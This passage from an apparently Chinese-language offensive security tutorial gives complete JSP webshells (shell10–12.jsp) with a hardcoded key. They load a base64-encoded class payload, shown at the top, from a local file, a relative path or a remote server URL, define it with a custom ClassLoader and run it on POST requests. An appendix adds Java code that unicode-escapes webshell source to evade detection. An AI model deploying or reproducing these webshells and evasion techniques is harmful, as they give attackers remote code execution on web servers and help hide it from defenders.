dkb0ZpbmFsAQAGKFtCKVtCAQAPamF2YS9sYW5nL0NsYXNzAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9PYmplY3QAIQAQABEAAAAAAAQAAQAYABkAAQAaAAAAHgACAAIAAAAGKiu3AAGxAAAAAQAbAAAABgABAAAABgABABgAHAABABoAAAAdAAEAAQAAAAUqtwACsQAAAAEAGwAAAAYAAQAAAAcAAQAdAB4AAQAaAAAAIQAEAAIAAAAJKisDK763AAOwAAAAAQAbAAAABgABAAAACQABAB8AIAABABoAAADEAAYABwAAAG0rwAAETSwDtgAFwAAGTiwEtgAFwAAGOgQSB7gACDoFGQUFuwAJWS22AAoSB7cAC7YADLsADVm3AA4ZBLYADzoGuwAQWSwGtgAFwAARtwASGQUZBrYAE7YAFLYAFSwFtgAFtgAWV6cABk0DrASsAAEAAABlAGgAFwACABsAAAAuAAsAAAAPAAUAEAAOABEAGAATAB8AFAAyABUAQAAWAGUAHABoABkAaQAbAGsAHQAhAAAACQAC9wBoBwAiAgABACMAAAACACQ=
A.絕對路徑加載
使用shel.txt的絕對路徑進行加載其中的內容進行訪問。
關於文件加載的方式參考鏈接如下:
Java讀取文件內容的六種方法:https://www.cnblogs.com/hkgov/p/14707726.html
我們選擇Files.readAllBytes()方法,即先將數據讀取為二進制數組,然后轉換成String內容,達到一次性的快速讀取一個文件的內容轉為String的目的。主要代碼如下:
String filename = "D:\\xampp\\tomcat\\webapps\\ROOT\\shell.txt"; //txt存放的路徑
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
上面為主要代碼,下面我們將代碼與上面的webshell進行一個簡單的融合,大致代碼如下:shell10.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,java.nio.charset.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String filename = "D:\\xampp\\tomcat\\webapps\\ROOT\\shell.txt";
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
運行結果如下:
B.相對路徑加載
上面說了絕對路徑,簡便,但是實際中大多情況下我們都無法直接知道網站的絕對路徑是什么,只能知道文件的一個相對路徑,此時我們需要用到的就是相對路徑啦!
參考鏈接:https://www.jb51.net/article/124392.htm
如上圖,我們嘗試使用 new java.io.File 方法。主要的加載代碼如下:
String filename = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + "\\shell.txt";
總代碼如下:shell11.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,java.nio.charset.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String filename = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + "\\shell.txt";
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
運行結果如下:
C.遠程路徑加載
參考鏈接:
Java讀取遠程服務器上的txt文件
https://www.cnblogs.com/dumanqingren/articles/2025291.html
這里為了便於代碼的閱讀,我們把遠程讀取txt內容單獨定義在一個函數,注意哦,jsp定義的語法為 <%! %> ,代碼如下,我們傳入遠程的地址鏈接,然后函數讀取后會返回一個String類型的遍歷。
<%!
public String ReadUrl(String FileName) throws IOException{
String read;
String readStr ="";
try{
URL url =new URL(FileName);
HttpURLConnection urlCon = (HttpURLConnection)url.openConnection();
urlCon.setConnectTimeout(5000);
urlCon.setReadTimeout(5000);
BufferedReader br =new BufferedReader(new InputStreamReader( urlCon.getInputStream()));
while ((read = br.readLine()) !=null) {
readStr = readStr + read;
}
br.close();
}
catch (IOException e) {
// TODO Auto-generated catch block
readStr ="f";
}
return readStr;
}%>
函數調用語句如下:
String filename = "http://192.168.1.195:8080/payload/shell.txt";
String content = ReadUrl(filename);
完整代碼如下:shell12.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.io.*,java.net.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%!
public String ReadUrl(String FileName) throws IOException{
String read;
String readStr ="";
try{
URL url =new URL(FileName);
HttpURLConnection urlCon = (HttpURLConnection)url.openConnection();
urlCon.setConnectTimeout(5000);
urlCon.setReadTimeout(5000);
BufferedReader br =new BufferedReader(new InputStreamReader( urlCon.getInputStream()));
while ((read = br.readLine()) !=null) {
readStr = readStr + read;
}
br.close();
}
catch (IOException e) {
// TODO Auto-generated catch block
readStr ="f";
}
return readStr;
}%>
<%if (request.getMethod().equals("POST")){
String filename = "http://192.168.1.195:8080/payload/shell.txt";
String content = ReadUrl(filename);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
運行結果如下:
附錄
1.JAVA之unicode編碼代碼測試
我們可以直接將需要轉換的代碼放在當前工程運行的文件夾下的jsp.txt文件,會自動將編碼后的字符串存放到UnicdoeJsp.txt文件中,工程目錄如下:
文件操作類fileutils如下:
import java.io.*;
public class fileutils {
/**
**以字符的方式讀取文件
*/
public static String ReadJsp(String filePath) {
//讀取文件
BufferedReader br = null;
StringBuffer sb = null;
try {
br = new BufferedReader(new InputStreamReader(new FileInputStream(filePath),"GBK")); //這里可以控制編碼
sb = new StringBuffer();
String line = null;
while((line = br.readLine()) != null) {
sb.append(line);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
String data = new String(sb); //StringBuffer ==> String
// System.out.println("數據為==> " + data);
return data;
}
/*創建文件並寫入內容*/
public static void CreateFile(String filepath, String file_str) {
try {
File filename = new File(filepath);
if(filename.createNewFile()) {
System.out.println("123文件創建成功!");
} else {
System.out.println("123文件創建失敗!");
}
System.out.println(file_str);
FileOutputStream fos = new FileOutputStream(filename);
fos.write(file_str.getBytes());
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
/*刪除文件*/
public static void DeleteFile(String filepath) {
File filename = new File(filepath);
if(filename.exists()) {
filename.delete();
System.out.println("文件刪除成功!");
}else {
System.out.println("文件不存在,無需刪除!");
}
return;
}
}
unicode編碼的類unicode01代碼如下:(PS:它將會對所有的的字母和數字進行編碼)
public class unicode01 {
/**
**JSP字符串轉unicode
*/
public static String jspToUnicode(String str) {
StringBuffer sb = new StringBuffer();
char[] c = str.toCharArray();
for (int i = 0; i < c.length; i++) {
// System.out.println(c[i]);
if(Character.isLetterOrDigit(c[i])) {
sb.append("\\u00" + Integer.toHexString(c[i]));
}else {
sb.append(c[i]);
}
}
return sb.toString();
}
//key轉化為unicode
public static String[] keyToUnicode(String[] str) {
System.out.println("key轉化為unicode\n");
String[] unkey = new String[str.length];
for(int i=0; i<str.length; i++) {
StringBuffer sb = new StringBuffer();
char[] c = str[i].toCharArray();
for (int j = 0; j < c.length; j++) {
sb.append("\\u00" + Integer.toHexString(c[j]));
}
System.out.println(sb);
unkey[i] = sb.toString();
}
return unkey;
}
public static void main(String[] args) {
String filepath = System.getProperty("user.dir") + "\\bin\\study\\jsp.txt";
String str = fileutils.ReadJsp(filepath);//以字符串 的形式讀取文件內容
// System.out.println(str);
String unicode = jspToUnicode(str); //將字符串轉化為unicode
System.out.println("字符串轉unicode結果:\n" + unicode);
/** 為了保證程序的正常運行有些字符串不需要替換
** 本來是打算將key進行unicode編碼,然后在unicode編碼后的字符串str中匹配key,然后發現replaceAll無法匹配 \\u的內容。。。
** 因此就需要讀者手工將其替換調。
** 這里會輸入key對應的unicode編碼,然后讀者在生成的文件中手工替換調對應的unicode即可
**/
String[] key = {"java.util.*,javax.crypto.*,javax.crypto.spec.*","POST", "e45e329feb5d925b", "\"u\"", "AES"};//不需要轉換為關鍵字
String[] unkey = keyToUnicode(key);
// for(int i=0; i<unkey.length; i++) {
// unicode = unicode.replaceFirst(unkey[i], key[i]);
// }
// System.out.println("特殊的字符串還原后:\n" + unicode);
//寫入文件
String newfile = System.getProperty("user.dir") + "\\bin\\study\\UnicodeJsp.txt";
fileutils.DeleteFile(newfile);
fileutils.CreateFile(newfile, unicode);
}
}
使用方法:
運行類unicode01后,輸出結果如下:需要替換的key在如下的位置。
我們在生成的UnicdoeJsp.txt文件中,將對應的unicode替換為key數組中的key,(PS:在這里,我們需要替換的”u”即\u0022\u0075\u0022,雙引號是正常的,即他們存在的形式為”\u0075”,將它轉換為”u”即可)。
參考鏈接:
Java讀取文件內容的六種方法
https://www.cnblogs.com/hkgov/p/14707726.html
JSP頁面定義函數方法
https://blog.csdn.net/iteye_6792/article/details/82522373
[Java]讀取文件方法大全
https://www.cnblogs.com/lovebread/archive/2009/11/23/1609122.html
java中如何讀取文件
https://www.php.cn/java/base/436165.html
Java 流(Stream)、文件(File)和IO
https://www.runoob.com/java/java-files-io.html
Java的絕對路徑和相對路徑
https://www.cnblogs.com/xzwblog/p/6906167.html
java安全策略 禁止反射_初探java安全之反射:
https://blog.csdn.net/weixin_42364833/article/details/114244811?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen
java將字符串轉換成可執行代碼
https://blog.csdn.net/u013305864/article/details/79665069?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen
*本文章僅供技術交流分享,請勿做未授權違法攻擊,雨筍教育不負任何責任。具體請參考《網絡安全法》。